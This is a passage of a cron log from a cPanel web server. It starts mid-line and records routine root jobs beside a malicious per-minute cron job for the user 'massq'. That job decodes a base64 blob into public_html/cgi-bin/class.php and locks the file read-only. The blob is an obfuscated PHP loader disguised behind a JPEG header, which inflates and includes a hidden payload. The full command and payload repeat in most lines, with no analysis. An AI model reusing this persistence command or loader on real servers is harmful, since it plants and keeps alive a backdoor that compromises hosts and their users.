orzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:50:01 server CROND[2564]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 01:50:01 server CROND[2563]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 01:50:01 server CROND[2566]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 01:50:01 server CROND[2565]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 01:50:01 server CROND[2569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:51:01 server CROND[2701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:52:01 server CROND[2875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:53:01 server CROND[2926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:54:01 server CROND[2978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:55:01 server CROND[3040]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 01:55:01 server CROND[3041]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 01:55:01 server CROND[3039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:56:01 server CROND[3166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:57:01 server CROND[3213]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 01:57:01 server CROND[3214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:58:01 server CROND[3319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:59:01 server CROND[3417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:00:01 server CROND[3474]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 02:00:01 server CROND[3475]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  9 02:00:01 server CROND[3478]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 02:00:01 server CROND[3479]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 02:00:01 server CROND[3482]: (root) CMD (/usr/local/cpanel/bin/backup)
Apr  9 02:00:01 server CROND[3481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:01:01 server CROND[3598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:01:01 server CROND[3597]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 02:01:01 server run-parts(/etc/cron.hourly)[3597]: starting 0anacron
Apr  9 02:01:01 server anacron[3610]: Anacron started on 2025-04-09
Apr  9 02:01:01 server anacron[3610]: Normal exit (0 jobs run)
Apr  9 02:01:01 server run-parts(/etc/cron.hourly)[3612]: finished 0anacron
Apr  9 02:02:01 server CROND[3664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
